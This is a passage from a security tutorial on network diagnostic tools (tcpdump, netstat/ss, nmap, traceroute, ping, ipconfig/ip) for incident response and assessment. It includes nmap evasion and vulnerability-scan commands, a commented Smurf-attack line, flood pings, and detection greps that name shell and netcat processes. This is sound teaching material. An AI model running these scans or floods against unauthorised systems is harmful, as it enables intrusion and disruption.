            if (sum[ip] > 1000000) print "Large transfer to "ip": "sum[ip]" bytes"
    }'

# OT: Monitor Modbus commands (port 502):
sudo tcpdump -i eth0 -nn -A port 502 | \
    grep -A5 "502"
# For detailed Modbus analysis: use Wireshark with Modbus dissector

Key Insight: tcpdump's strength is its availability and scriptability. On a compromised server during incident response, Wireshark may not be installed — tcpdump almost always is. Knowing how to capture and filter with tcpdump means you can gather evidence from any Unix system regardless of what security tools are installed. The output is standard pcap, readable by Wireshark for deeper analysis later.

4. Netstat and ss — Connection State Intelligence

4.1 Netstat — The Legacy Connection Inspector

netstat displays network connections, routing tables, interface statistics, masquerade connections, and multicast memberships. While being replaced by ss on modern Linux, netstat remains ubiquitous (Windows, macOS, older Linux).

netstat output columns:
  Proto:     Protocol (tcp, udp, tcp6, udp6)
  Recv-Q:    Data queued to receive (waiting for application to read)
  Send-Q:    Data queued to send (waiting for network)
  Local Address:  Local IP:port of the connection
  Foreign Address: Remote IP:port
  State:     TCP state (LISTEN, ESTABLISHED, TIME_WAIT, etc.)
  PID/Program: Process owning the connection (with -p flag)

# Linux netstat commands:
netstat -tulnp          # TCP+UDP, Listening, Numeric, with Process
# -t: TCP connections
# -u: UDP connections
# -l: Only listening sockets
# -n: Numeric (don't resolve names — faster and clearer)
# -p: Show process name and PID (requires root for other users' processes)

netstat -tan            # All TCP connections, numeric
netstat -anp            # All connections, numeric, with process
netstat -rn             # Routing table, numeric
netstat -i              # Interface statistics
netstat -s              # Statistics by protocol (errors, drops, etc.)
netstat -c 2            # Refresh every 2 seconds (continuous)

# Useful patterns:
netstat -anp | grep LISTEN                        # All listening services
netstat -anp | grep ESTABLISHED                  # Active connections
netstat -anp | grep :4444                        # Metasploit default port
netstat -anp | grep '0.0.0.0:*'                 # Services exposed on all interfaces

# Windows netstat:
netstat -ano             # All connections, numeric, with PID
netstat -ano | findstr :3389   # RDP connections
netstat -ano | findstr LISTENING  # All listening ports
netstat -b               # Show owning executable (requires admin)
netstat -r               # Routing table

4.2 ss — The Modern Replacement

ss (Socket Statistics) is faster than netstat, provides more information, and is the current standard on modern Linux. It reads from the kernel's netlink socket rather than /proc.

# ss commands:
ss -tulnp               # Same as netstat equivalent
# -t: TCP
# -u: UDP
# -l: Listening
# -n: Numeric
# -p: Process info

ss -tnp state established  # Only established TCP connections
ss -tnp state time-wait    # TIME_WAIT connections (post-close)
ss -tnp state syn-recv     # SYN_RECV (half-open, potential SYN flood indicator)
ss -s                      # Summary statistics
ss -4                      # IPv4 only
ss -6                      # IPv6 only

# Filtering (more powerful than netstat):
ss -tnp dst 192.168.1.100      # Connections TO this IP
ss -tnp src 192.168.1.5        # Connections FROM this IP
ss -tnp dport == :443          # Connections TO port 443
ss -tnp sport == :22           # Connections FROM port 22
ss -tnp 'dst 192.168.1.0/24'  # All connections to subnet

# Advanced ss usage:
ss -tnp | awk 'NR>1 {print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn
# Count connections per remote IP — detect port scan or DDoS source

4.3 Security Analysis with Netstat/ss

# ============ INCIDENT RESPONSE CHECKLIST ============
# Run these immediately on a suspected compromised system:

echo "=== LISTENING SERVICES ==="
ss -tulnp 2>/dev/null || netstat -tulnp
# Look for: unexpected listening services, non-standard ports, unusual processes

echo "=== ESTABLISHED CONNECTIONS ==="
ss -tnp state established 2>/dev/null || netstat -tnp | grep ESTABLISHED
# Look for: connections to unexpected external IPs, encrypted channels on unusual ports

echo "=== UNUSUAL PORTS ==="
ss -tnp | grep -vE ":22|:80|:443|:53|:3306|:5432"  # Show non-common ports
# Look for: reverse shells (4444, 5555, common Metasploit ports)
#           C2 channels (any port to external IPs)
#           Pivoting (unexpected internal connections)

echo "=== CONNECTION COUNTS BY REMOTE IP ==="
ss -tn | awk 'NR>1 {split($5,a,":"); print a[1]}' | sort | uniq -c | sort -rn | head -20
# High count from same IP = port scan or C2 beaconing

echo "=== PROCESSES WITH NETWORK ACTIVITY ==="
ss -tnp | grep -oE 'pid=[0-9]+' | sort -u | while read pid; do
    pid_num=${pid#pid=}
    proc=$(cat /proc/$pid_num/cmdline 2>/dev/null | tr '\0' ' ')
    echo "PID $pid_num: $proc"
done
# Match processes to their network activity — unexpected process making connections = suspicious

# ============ DETECT REVERSE SHELLS ============
# Reverse shells often appear as: sh/bash/python/perl connecting outbound
# Look for shell processes with established outbound connections:
ss -tnp state established | grep -E "bash|sh|python|perl|ruby|nc|ncat|netcat"

# Detect bind shells (listening shells):
ss -tlnp | grep -E "bash|sh|python|perl|nc|ncat"

# ============ DETECT PORT SCANNING ============
# Short-lived connections in TIME_WAIT = scanner was here
ss -tn state time-wait | awk '{print $4}' | cut -d: -f1 | sort | uniq -c | sort -rn | head
# Many TIME_WAIT connections from same source = port scanner

# ============ WINDOWS SPECIFIC ============
# Find processes behind suspicious connections (Windows):
netstat -ano | findstr :4444
tasklist /fi "pid eq 1234"         # Replace 1234 with PID from netstat
# Correlate PID to process name

Connection States Reference:

TCP Connection States and Security Meaning:

LISTEN:      Server waiting for connections. Normal for services.
             Unexpected listening ports = potential backdoor

ESTABLISHED: Active data transfer. Normal.
             Unexpected external ESTABLISHED = possible compromise

SYN_SENT:    Client initiated connection, waiting for SYN-ACK
             Many SYN_SENT to different ports = you are port scanning
             Many SYN_SENT to different IPs = lateral movement or malware

SYN_RECV:    SYN received, SYN-ACK sent, waiting for ACK
             Many SYN_RECV = you are being SYN flooded (DDoS)

FIN_WAIT_1:  Sent FIN, waiting for ACK (normal close)
FIN_WAIT_2:  Got ACK, waiting for remote FIN (normal close)
CLOSE_WAIT:  Remote sent FIN, application hasn't closed yet
             Many CLOSE_WAIT = application bug (not closing sockets properly)

TIME_WAIT:   Both FINs acknowledged, waiting for stragglers
             Many TIME_WAIT = heavily used server or recent scanning activity

CLOSED:      Connection fully terminated (not usually shown)

Key Insight: A compromised machine almost always has evidence in its connection table — a reverse shell process with an outbound ESTABLISHED connection, an unexpected LISTENING port for a backdoor, or unusual processes associated with network connections. The netstat/ss output is one of the first things to examine in any suspected compromise. Baseline normal connection state and know what processes should be listening — any deviation is a finding.

5. Nmap — The Network Mapper

5.1 Nmap Architecture and Scan Types

Nmap (Network Mapper) is the industry-standard tool for network discovery and security auditing. It sends specially crafted packets and analyses responses to determine which hosts are available, what services they run, what operating system they use, and other security-relevant information.

Nmap Scan Types — From Stealthy to Noisy:

Stealthiness:
  Most Stealthy                                              Most Noisy
  ────────────────────────────────────────────────────────────────
  Idle  FIN  NULL XMAS ACK  SYN(Half) Connect  Version  Script  Agressive
  Scan  Scan Scan Scan Scan    Scan     Scan     Scan     Scan    Scan

Detection likelihood:
  Idle scan: virtually undetectable (uses zombie host)
  SYN scan: unlikely to be logged by target (half-open, no connection)
  Connect scan: logged by target (full connection established)
  Version scan: logged + leaves evidence of probe traffic
  Aggressive: loud, generates many entries in logs and IDS

5.2 Host Discovery

# Host discovery — determine which hosts are alive before port scanning

# ICMP echo (ping sweep) — default if not root:
nmap -sn 192.168.1.0/24
# -sn: skip port scan (ping only)
# Uses: ICMP echo, TCP SYN to 443, TCP ACK to 80, ICMP timestamp

# ICMP only (root required):
sudo nmap -sn -PE 192.168.1.0/24  # ICMP echo request
sudo nmap -sn -PP 192.168.1.0/24  # ICMP timestamp request (bypasses some firewalls)
sudo nmap -sn -PM 192.168.1.0/24  # ICMP address mask request

# TCP SYN discovery (no port scan):
sudo nmap -sn -PS22,80,443,3389 192.168.1.0/24  # Send SYN to these ports
# Hosts that respond = alive (even if they RST — they're up)

# UDP discovery:
sudo nmap -sn -PU53,161,137 192.168.1.0/24  # UDP probe

# ARP discovery (fastest on local network):
sudo nmap -sn -PR 192.168.1.0/24  # ARP (only works on same subnet)

# No ping (scan even if host appears down — useful for firewalled hosts):
sudo nmap -Pn 192.168.1.100       # Skip host discovery, scan directly

# Large network scanning with timing:
sudo nmap -sn -T4 --min-parallelism 100 10.0.0.0/8  # Fast scan of Class A
sudo nmap -sn --max-rtt-timeout 200ms --min-hosts 4096 192.168.0.0/16

# Exclude specific hosts from scan:
sudo nmap -sn 192.168.1.0/24 --exclude 192.168.1.1  # Skip router
sudo nmap -sn 192.168.1.0/24 --excludefile critical_hosts.txt

5.3 Port Scanning Techniques

# SYN Scan — default when running as root (half-open scan):
sudo nmap -sS 192.168.1.100
# Sends SYN, waits for SYN-ACK (open) or RST (closed)
# Never completes TCP handshake → fewer logs on target
# Open: received SYN-ACK, sent RST
# Closed: received RST
# Filtered: no response or ICMP unreachable

# TCP Connect Scan — default without root (full connection):
nmap -sT 192.168.1.100
# Completes full TCP handshake
# Generates connection logs on target
# Works without raw socket privileges

# UDP Scan:
sudo nmap -sU 192.168.1.100
# Sends UDP probe to each port
# Open: receives UDP response (rare — most UDP services don't respond to probes)
# Closed: receives ICMP port unreachable
# Filtered: no response (or ICMP admin prohibited)
# Open|Filtered: no response (could be open or filtered — can't tell)
# SLOW: waiting for ICMP responses + rate limiting

# Port specification:
nmap -sS 192.168.1.100 -p 80         # Single port
nmap -sS 192.168.1.100 -p 80,443,22  # Multiple ports
nmap -sS 192.168.1.100 -p 1-1024     # Port range
nmap -sS 192.168.1.100 -p-           # All 65535 ports
nmap -sS 192.168.1.100 -p U:53,T:22  # UDP 53 and TCP 22

# Top ports scan (common ports first):
nmap -sS 192.168.1.100 --top-ports 100    # Scan 100 most common ports
nmap -sS 192.168.1.100 --top-ports 1000   # Top 1000 (faster than -p-)

# Fast scan:
nmap -sS -F 192.168.1.100             # -F = fast (top 100 ports only)

# Version detection:
nmap -sV 192.168.1.100                # Detect service versions
nmap -sV --version-intensity 5        # Intensity 0-9 (0=light, 9=all probes)
nmap -sV --version-all                # Maximum version probing

# OS detection:
sudo nmap -O 192.168.1.100            # OS fingerprinting
sudo nmap -O --osscan-guess           # Guess even if not certain

# Aggressive scan (combines -sV -O -sC --traceroute):
sudo nmap -A 192.168.1.100            # Aggressive — comprehensive but noisy

5.4 Nmap Scripting Engine (NSE)

NSE is one of Nmap's most powerful features — scripts that perform automated detection, exploitation, and information gathering.

# Default scripts (safe, commonly useful):
sudo nmap -sC 192.168.1.100          # Run default scripts
# Equivalent to: --script=default

# Specific script:
sudo nmap --script smb-vuln-ms17-010 -p 445 192.168.1.100   # Check EternalBlue
sudo nmap --script http-title -p 80,443 192.168.1.0/24      # Get web page titles

# Script categories:
# auth: authentication bypass/brute force
# broadcast: network discovery via broadcast
# brute: brute force authentication
# default: safe, common scripts (run with -sC)
# discovery: enumerate network info
# dos: denial of service
# exploit: exploitation scripts (use carefully)
# external: queries external services
# fuzzer: send fuzzing data
# intrusive: may crash target systems
# malware: detect malware
# safe: won't cause harm
# version: version detection
# vuln: check for known vulnerabilities

# Vulnerability scanning scripts:
sudo nmap --script vuln 192.168.1.100     # All vulnerability scripts
sudo nmap --script vuln -p 445 192.168.1.0/24  # SMB vulns on network

# Critical vulnerability scripts:
sudo nmap --script smb-vuln-ms17-010 -p 445 192.168.1.0/24   # EternalBlue
sudo nmap --script rdp-vuln-ms12-020 -p 3389 192.168.1.100   # RDP vuln
sudo nmap --script ssl-heartbleed -p 443 192.168.1.100        # Heartbleed
sudo nmap --script ssl-poodle -p 443 192.168.1.100            # POODLE
sudo nmap --script http-shellshock -p 80,443 192.168.1.100    # Shellshock
sudo nmap --script smb-security-mode -p 445 192.168.1.0/24   # SMB signing
sudo nmap --script snmp-brute -p 161 192.168.1.0/24          # SNMP communities
sudo nmap --script ftp-anon -p 21 192.168.1.0/24             # Anonymous FTP

# Information gathering scripts:
sudo nmap --script dns-brute --script-args dns-brute.domain=target.com  # Subdomain enum
sudo nmap --script ldap-search -p 389 192.168.1.10           # LDAP enumeration
sudo nmap --script smb-enum-shares -p 445 192.168.1.100      # SMB shares
sudo nmap --script smb-enum-users -p 445 192.168.1.100       # SMB user enum
sudo nmap --script http-enum -p 80,443 192.168.1.100         # Web paths
sudo nmap --script banner -p 21,22,25,80 192.168.1.100       # Service banners

# ICS/OT scripts:
sudo nmap --script modbus-discover -p 502 192.168.1.0/24     # Modbus devices
sudo nmap --script s7-info -p 102 192.168.1.0/24             # Siemens S7 PLCs
sudo nmap --script dnp3-info -p 20000 192.168.1.0/24         # DNP3 devices
sudo nmap --script bacnet-info -p 47808 192.168.1.0/24       # BACnet devices
sudo nmap --script enip-info -p 44818 192.168.1.0/24         # EtherNet/IP

5.5 Nmap Output Formats

# Output formats:
sudo nmap -sS -oN output.txt 192.168.1.0/24      # Normal (human readable)
sudo nmap -sS -oX output.xml 192.168.1.0/24      # XML (machine readable, Metasploit import)
sudo nmap -sS -oG output.gnmap 192.168.1.0/24    # Grepable format
sudo nmap -sS -oA output 192.168.1.0/24          # All formats (.nmap, .xml, .gnmap)
sudo nmap -sS -oJ output.json 192.168.1.0/24     # JSON (with -oX then convert)

# Grep from grepable output:
grep "80/open" output.gnmap | awk '{print $2}'   # IPs with port 80 open
grep "Ports:" output.gnmap | cut -d' ' -f2-      # Extract port lists

# Parse XML with Python:
python3 << 'EOF'
import xml.etree.ElementTree as ET

tree = ET.parse('output.xml')
root = tree.getroot()

for host in root.findall('host'):
    status = host.find('status').get('state')
    if status == 'up':
        addr = host.find('address').get('addr')
        print(f"\nHost: {addr}")

        ports = host.find('ports')
        if ports:
            for port in ports.findall('port'):
                if port.find('state').get('state') == 'open':
                    portid = port.get('portid')
                    service = port.find('service')
                    svc = service.get('name', 'unknown') if service is not None else 'unknown'
                    version = service.get('product', '') if service is not None else ''
                    print(f"  {portid}/tcp  {svc}  {version}")
EOF

5.6 Nmap for Security Assessments — Practical Workflows

# Phase 1: Discovery
sudo nmap -sn 192.168.1.0/24 -oA phase1_discovery
# Identify live hosts first

# Phase 2: Port scan of live hosts
grep "Up" phase1_discovery.gnmap | awk '{print $2}' > live_hosts.txt
sudo nmap -sS -p- --open -T4 -iL live_hosts.txt -oA phase2_ports
# -iL: read hosts from file
# --open: only show open ports (reduce output)
# -p-: all 65535 ports
# -T4: aggressive timing

# Phase 3: Version detection on open ports
grep "open" phase2_ports.gnmap | awk '{print $2}' | sort -u > hosts_with_ports.txt
sudo nmap -sV -sC -iL hosts_with_ports.txt -oA phase3_versions

# Phase 4: Vulnerability assessment
sudo nmap --script vuln -iL hosts_with_ports.txt -oA phase4_vulns

# Combine phases for efficiency:
sudo nmap -sS -sV -sC --script vuln \
    -p- --open \
    -T4 \
    -iL live_hosts.txt \
    -oA comprehensive_scan

# Evasion techniques:
sudo nmap -sS -T1 192.168.1.100              # Paranoid timing (very slow)
sudo nmap -sS --scan-delay 1s 192.168.1.100  # 1 second between probes
sudo nmap -sS -f 192.168.1.100               # Fragment packets (8-byte fragments)
sudo nmap -sS -D RND:10 192.168.1.100        # Decoy scan (10 random decoys)
sudo nmap -sS --source-port 53 192.168.1.100 # Spoof source port (bypass some firewalls)
sudo nmap -sS --data-length 25 192.168.1.100 # Add random data to packets

5.7 Nmap in OT/ICS Environments — Critical Warnings

WARNING: Nmap in OT/ICS environments requires extreme caution.

Industrial devices differ from IT devices in their response to scanning:

1. PLCs (Programmable Logic Controllers):
   May CRASH or RESTART when receiving unexpected packets
   A PLC restart in a manufacturing environment = production stop
   A PLC restart during a chemical process = potential safety incident

2. RTUs (Remote Terminal Units):
   Some legacy RTUs have limited TCP stack resources
   Port scan may exhaust connection table → device stops responding

3. Network Switches (industrial grade):
   Some Hirschmann, Moxa switches have bugs triggered by SYN scans
   May cause port to err-disable or switch to restart

4. Safety Systems:
   Safety PLCs (SIS — Safety Instrumented Systems) are the most critical
   ANY unexpected interaction with a SIS can trigger a demand
   A spurious demand on safety system = unplanned process shutdown or worse
   NEVER scan safety systems without explicit written vendor approval

Safe alternatives for OT asset discovery:
  1. Passive monitoring (tcpdump/Wireshark — no traffic injection)
  2. ARP scan only (Layer 2, generally safe): nmap -sn -PR 192.168.1.0/24
  3. ICMP ping only (usually safe): nmap -sn -PE 192.168.1.0/24
  4. SNMP queries to known management IPs (pre-approved)
  5. Review existing asset inventory documentation
  6. Query SCADA/HMI system for known device list

If active scanning is required:
  - Get written approval from operations/safety team
  - Schedule during planned maintenance window
  - Have operations team monitor process for abnormal behaviour
  - Have rollback plan ready
  - Start with single host, verify it doesn't cause issues
  - Use slow timing (-T1 or custom delays)
  - Never use -A, -sV, or NSE scripts on unknown OT devices

Key Insight: Nmap's NSE scripting makes it not just a scanner but a vulnerability assessment platform. The smb-vuln-ms17-010 script checks for EternalBlue with one command; modbus-discover identifies Modbus devices and queries their status. In OT environments, however, Nmap requires discipline — the wrong scan against the wrong device can stop production or create safety hazards. Passive tools first, active tools only with explicit approval.

6. Traceroute and Tracert — Path Discovery

6.1 How Traceroute Works

Traceroute reveals the path that packets take from source to destination by exploiting TTL (Time to Live) expiration.

Traceroute Mechanism:

Packet 1: TTL=1
  Source → [Router 1] → TTL decrements to 0 → Router 1 discards packet
  Router 1 sends back: ICMP Time Exceeded (Type 11, Code 0)
  Source records: Router 1's IP, round-trip time

Packet 2: TTL=2
  Source → [Router 1] → TTL=1 → [Router 2] → TTL=0 → Router 2 discards
  Router 2 sends back: ICMP Time Exceeded
  Source records: Router 2's IP, RTT

Packet 3: TTL=3
  Source → Router 1 → Router 2 → [Router 3] → TTL=0 → Time Exceeded
  ...continues until destination reached

Final Packet: TTL = number of hops
  Destination receives packet → responds normally
  Linux: ICMP Port Unreachable (UDP probe to unlikely port)
  Windows: ICMP Echo Reply

Each hop shows:
  * = no response (firewall drops ICMP, timeout)
  IP address = router's interface address
  RTT (3 measurements) = latency at that hop

6.2 Traceroute Variants

# Linux traceroute (uses UDP by default):
traceroute google.com
traceroute -n google.com              # -n: numeric, no DNS resolution
traceroute -T google.com              # TCP SYN (bypasses firewalls blocking UDP/ICMP)
traceroute -T -p 80 google.com        # TCP SYN to port 80
traceroute -I google.com              # ICMP echo (like Windows tracert)
traceroute -q 1 google.com            # -q 1: one probe per hop (faster)
traceroute -w 2 google.com            # -w 2: 2 second timeout per probe
traceroute -m 30 google.com           # -m 30: max 30 hops
traceroute -s 192.168.1.5 google.com  # -s: source IP to use
traceroute --back google.com          # Show asymmetric return path

# Windows tracert:
tracert google.com
tracert -d google.com                 # -d: no DNS resolution
tracert -h 30 google.com              # -h: max hops
tracert -w 3000 google.com            # -w: timeout in milliseconds

# mtr (My TraceRoute) — combines ping + traceroute, real-time:
mtr google.com                        # Interactive real-time view
mtr --report google.com               # Generate report
mtr --report-cycles 10 google.com     # 10 cycles then report
mtr --no-dns google.com               # No DNS resolution

# TCP traceroute variants:
tcptraceroute 192.168.1.1 22          # TCP traceroute to SSH port
hping3 --traceroute -V -S -p 80 192.168.1.1  # hping3 TCP SYN traceroute

6.3 Security Analysis with Traceroute

# Trace to identify network topology:
traceroute -n 192.168.1.100
# Reveals: number of hops, intermediate router IPs, asymmetric paths
# Security use: map network architecture without access to topology docs

# Identify firewall locations:
traceroute -n 8.8.8.8
# Where hops stop responding (*** ***) = likely firewall
# Where latency jumps significantly = network boundary

# Detect MPLS networks (ISP infrastructure):
traceroute -n 8.8.8.8
# MPLS hops may show 0ms or very low latency (hardware switching)

# Firewall type detection from traceroute responses:
# * * * at specific hop: ICMP blocked (stateless filter or DROP policy)
# !X: network unreachable (routing problem)
# !H: host unreachable
# !P: protocol unreachable
# !F: fragmentation needed
# !A: administratively prohibited (ACL REJECT rule)

# Asymmetric routing detection:
traceroute -n targetIP          # Outbound path
# Then have target traceroute back to you
# Different paths = asymmetric routing (security monitoring implications)

# Use traceroute to bypass firewalls:
traceroute -T -p 80 blocked_host.com    # TCP SYN to port 80
# If HTTP (port 80) is allowed through firewall but ICMP/UDP is not:
# TCP traceroute succeeds where normal traceroute fails
# Useful for: determining where filtering occurs, identifying firewall position

# Network change detection (baseline and compare):
traceroute -n 8.8.8.8 | tee /tmp/baseline_$(date +%Y%m%d).txt
# Compare over time: different path = routing change (possibly malicious)
# BGP hijack: traffic suddenly going through unexpected ASes

Traceroute and Security Monitoring:

# Detect traceroute probes against your network (defensive):
# In Wireshark: filter for TTL-limited packets:
# ip.ttl <= 3 and not (ip.src == your_IP)

# In tcpdump:
sudo tcpdump -i eth0 'ip[8] < 5'     # IP TTL < 5 (traceroute probes)
sudo tcpdump -i eth0 -n 'udp and ip[8] < 5'  # UDP traceroute probes

# In iptables (log traceroute probes):
sudo iptables -A INPUT -m ttl --ttl-lt 5 -j LOG --log-prefix "TRACEROUTE: "

# Detect hping3 traceroute (TCP SYN with low TTL):
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0 and ip[8] < 10'

Key Insight: Traceroute is the network equivalent of a map — it shows where your traffic goes and how it gets there. During incident response, traceroute to C2 IP addresses reveals ISP infrastructure and geographic routing, which supports attribution. Changes in traceroute paths over time can indicate BGP hijacking. In OT environments, traceroute confirms whether traffic is properly segmented — if a traceroute from an untrusted zone reaches an OT device with fewer hops than expected, segmentation may be compromised.

7. Ping — The Fundamental Connectivity Test

7.1 Ping Mechanics

Ping sends ICMP Echo Request packets and waits for ICMP Echo Reply. It measures:

Whether a host is reachable
Round-trip time (RTT)
Packet loss percentage

ICMP Echo Request/Reply:
  Type 8, Code 0: Echo Request (ping sent)
  Type 0, Code 0: Echo Reply (pong received)

Packet structure:
  [IP Header][ICMP Header][Identifier][Sequence Number][Data]
  Identifier: identifies the ping process (useful for multi-process analysis)
  Sequence Number: increments per packet (detects packet loss/reordering)
  Data: typically a timestamp + padding

7.2 Ping Commands

# Linux ping:
ping 192.168.1.1                     # Ping until Ctrl+C
ping -c 4 192.168.1.1                # -c 4: send 4 packets
ping -c 1 -W 1 192.168.1.1          # -W 1: 1 second timeout (quick test)
ping -i 0.2 192.168.1.1             # -i 0.2: send every 0.2 seconds (fast)
ping -s 1400 192.168.1.1            # -s 1400: packet size 1400 bytes
ping -f 192.168.1.1                 # -f: flood ping (root only — sends as fast as possible)
ping -t 64 192.168.1.1              # -t 64: set TTL to 64
ping -q 192.168.1.1                 # -q: quiet (only summary)
ping -b 192.168.1.255               # -b: broadcast ping (finds all hosts on subnet)

# ping6 (IPv6):
ping6 ::1                           # Ping IPv6 loopback
ping6 -I eth0 fe80::1               # Ping link-local (must specify interface)

# Windows ping:
ping 192.168.1.1                    # 4 packets by default
ping -t 192.168.1.1                 # Ping continuously
ping -n 10 192.168.1.1              # -n 10: 10 packets
ping -l 1000 192.168.1.1            # -l 1000: 1000 byte packets
ping -i 5 192.168.1.1               # -i 5: TTL = 5
ping -w 3000 192.168.1.1            # -w 3000: 3 second timeout

# Network sweep with ping (quick host discovery):
for i in $(seq 1 254); do
    ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i is alive"
done
# Slow — runs sequentially

# Parallel ping sweep (faster):
for i in $(seq 1 254); do
    (ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i alive") &
done
wait

# fping (faster, parallel by design):
fping -a -g 192.168.1.0/24 2>/dev/null  # -a: show alive, -g: generate range
fping -A -g 192.168.1.0/24              # -A: show addresses of alive hosts

# MTU discovery using ping:
ping -M do -s 1472 192.168.1.1     # -M do: don't fragment, -s 1472 (+28 headers = 1500 MTU)
# If MTU is smaller: "Frag needed and DF set"
# Binary search for MTU: test 1472, 1000, 1300, 1400, 1450...

7.3 Ping for Security Analysis

# Detect if ICMP is blocked by firewall:
ping -c 1 target_ip
# No response: either host down OR ICMP blocked by firewall
# Use TCP scan to disambiguate:
nmap -sT -p 80,443 -Pn target_ip    # -Pn: skip ping, assume host is up

# Detect ICMP rate limiting:
ping -f -c 1000 192.168.1.1         # Flood ping (root required)
# Rate: loss% indicates rate limiting or capacity issues
# Security: can be used to stress test, also detects DoS-resistant configs

# Identify OS via TTL (passive fingerprinting):
ping -c 1 target_ip | grep "ttl="
# ttl=64: Linux/Unix
# ttl=128: Windows
# ttl=255: Cisco/network devices
# Note: each hop decrements TTL by 1, so adjust for distance

# Covert channel detection (ICMP payload analysis):
sudo tcpdump -i eth0 icmp -A | grep -v "^--$\|bytes"
# Large or unusual ICMP payloads = potential covert channel
# Normal ping: 32 bytes (Windows) or 56 bytes (Linux) of data
# Suspicious: 1400+ bytes, non-standard patterns, encrypted-looking content

# Detect ping sweep against your network:
sudo tcpdump -i eth0 'icmp and icmp[icmptype] = icmp-echo' -n | \
    awk '{print $3}' | cut -d. -f1-4 | \
    sort | uniq -c | sort -rn | head
# High count from single source = ping sweep (reconnaissance)

# ICMP timestamp requests (OS fingerprinting):
hping3 --icmp --icmp-ts 192.168.1.1    # ICMP timestamp request
# Response reveals system time (useful for timezone identification)

Ping of Death and ICMP-based Attacks:

# Ping of Death (historical — modern OSes patched):
# Large ICMP fragments caused buffer overflow in old OSes
# ping -s 65500 target  # Would crash old Windows/Unix kernels
# Modern relevance: some embedded OT devices may still be vulnerable

# Smurf Attack (broadcast ping with spoofed source):
# Concept: ping broadcast address with victim's IP as source
# All hosts reply to victim → amplified DoS
# hping3 --icmp -a VICTIM_IP BROADCAST_ADDRESS  (do NOT run this)
# Defence: disable broadcast ping response:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

# ICMP redirect attack detection:
sudo tcpdump -i eth0 'icmp[icmptype] = icmp-redirect'
# Should almost never see ICMP redirects on secure network
# ICMP redirect from unexpected host = possible routing attack

# Block ICMP redirects:
sysctl -w net.ipv4.conf.all.accept_redirects=0
sysctl -w net.ipv4.conf.all.secure_redirects=0

Key Insight: Ping is deceptively simple but encodes OS type (TTL), network topology (RTT changes), and reachability in every response. No response to ping doesn't mean the host is down — firewalls commonly block ICMP while allowing TCP. In OT environments, ping is the safest active tool to use — a single ICMP Echo Request is unlikely to destabilise most field devices. But even here, caution is warranted with very old RTUs and PLCs.

8. ipconfig and ifconfig — Interface Configuration

8.1 Windows ipconfig

ipconfig is the primary Windows command for viewing and managing IP configuration.

# Basic commands:
ipconfig                    # Summary: IP, mask, gateway per interface
ipconfig /all               # Full details: MAC, DHCP, DNS, lease times
ipconfig /release           # Release DHCP lease (lose IP)
ipconfig /renew             # Renew DHCP lease (get new IP)
ipconfig /flushdns          # Clear DNS resolver cache
ipconfig /displaydns        # Show DNS resolver cache contents
ipconfig /registerdns       # Re-register DNS (forces DNS update)
ipconfig /showclassid *     # Show DHCP class IDs

# Security-relevant output from ipconfig /all:
# Physical Address (MAC): identifies device manufacturer, useful for inventory
# DHCP Enabled: Yes/No — is this statically or dynamically assigned?
# DHCP Server: which server assigned this IP (for forensic timeline)
# Lease Obtained: when was the IP assigned (forensic timestamp)
# Lease Expires: when will it expire
# Default Gateway: routing path — is this the expected gateway?
# DNS Servers: which servers resolve names — rogue DNS = suspicious
# DNS Suffix Search List: reveals domain membership

ipconfig for Security Analysis:

# Check for rogue gateway/DNS (MITM indicator):
ipconfig /all | findstr /i "gateway\|dns server"
# Expected: corporate gateway and DNS IPs
# Unexpected: different IPs = possible DHCP poisoning or MITM

# Find all network interfaces (VPN, virtual adapters):
ipconfig /all | findstr /i "adapter\|IPv4\|physical"
# VPN adapters may have routes that bypass monitoring
# Unexpected adapters = possible rogue software

# DNS cache analysis (what has this machine been looking up?):
ipconfig /displaydns
# Shows: all recently resolved domains
# Forensic value: what sites has this machine visited?
# Suspicious entries: C2 domains, unusual TLDs, encoded domain names

# Clear evidence (attacker's move):
ipconfig /flushdns           # Clear DNS cache evidence
# Detection: if DNS cache is empty on an active machine = suspicious

8.2 Linux ifconfig and ip

ifconfig is legacy. ip is the modern replacement. Know both.

# Legacy ifconfig:
ifconfig                         # All interfaces
ifconfig eth0                    # Specific interface
ifconfig eth0 up                 # Bring interface up
ifconfig eth0 down               # Bring interface down
ifconfig eth0 192.168.1.100/24   # Set IP address
ifconfig eth0 promisc            # Enable promiscuous mode (packet capture)
ifconfig eth0 -promisc           # Disable promiscuous mode

# Modern ip command:
ip addr                          # Show all interfaces and IPs
ip addr show eth0                # Specific interface
ip link show                     # Link layer info (MAC, state)
ip route show                    # Routing table
ip route get 8.8.8.8             # What route would be used for this destination?
ip neigh show                    # ARP cache
ip -s link                       # Interface statistics
ip -6 addr                       # IPv6 addresses

# Adding/removing configuration:
sudo ip addr add 192.168.1.100/24 dev eth0    # Add IP
sudo ip addr del 192.168.1.100/24 dev eth0   # Remove IP
sudo ip link set eth0 up                       # Bring up interface
sudo ip link set eth0 down                     # Bring down interface
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF  # Change MAC address
sudo ip route add default via 192.168.1.1       # Add default route
sudo ip route del default                        # Remove default route

# Security-relevant interface operations:
sudo ip link set eth0 promisc on     # Enable promiscuous mode
ip link show eth0 | grep -i promisc  # Check if promiscuous mode is on
# Promiscuous mode: someone is running packet capture on this interface
# Unexpected promisc = potential malicious sniffing

# Find all network interfaces (including hidden/virtual):
ip link show
# Look for: unexpected tap/tun interfaces (VPN/tunnels), br- (bridges)
# br-* = Docker bridge (container networking)
# tun0 = OpenVPN/WireGuard tunnel
# virbr* = libvirt/QEMU virtual bridge

# Check for multiple default routes (split tunnelling indicator):
ip route show | grep "default"
# Multiple default routes: possible VPN split tunnelling
# Security: traffic may not all go through monitoring infrastructure

8.3 Network Configuration for Security

# Full network configuration audit script:
cat > /tmp/network_config_audit.sh << 'EOF'
#!/bin/bash
echo "===== NETWORK CONFIGURATION AUDIT ====="
echo "Timestamp: $(date)"
echo ""

echo "--- All Interfaces ---"
ip addr show | grep -E "^[0-9]|inet "
echo ""

echo "--- MAC Addresses ---"
ip link show | grep "link/ether"
echo ""

echo "--- Routing Table ---"
ip route show
echo ""

echo "--- ARP Cache ---"
ip neigh show
echo ""

echo "--- DNS Configuration ---"
cat /etc/resolv.conf
echo ""

echo "--- Listening Services ---"
ss -tulnp 2>/dev/null | head -30
echo ""

echo "--- Promiscuous Interfaces ---"
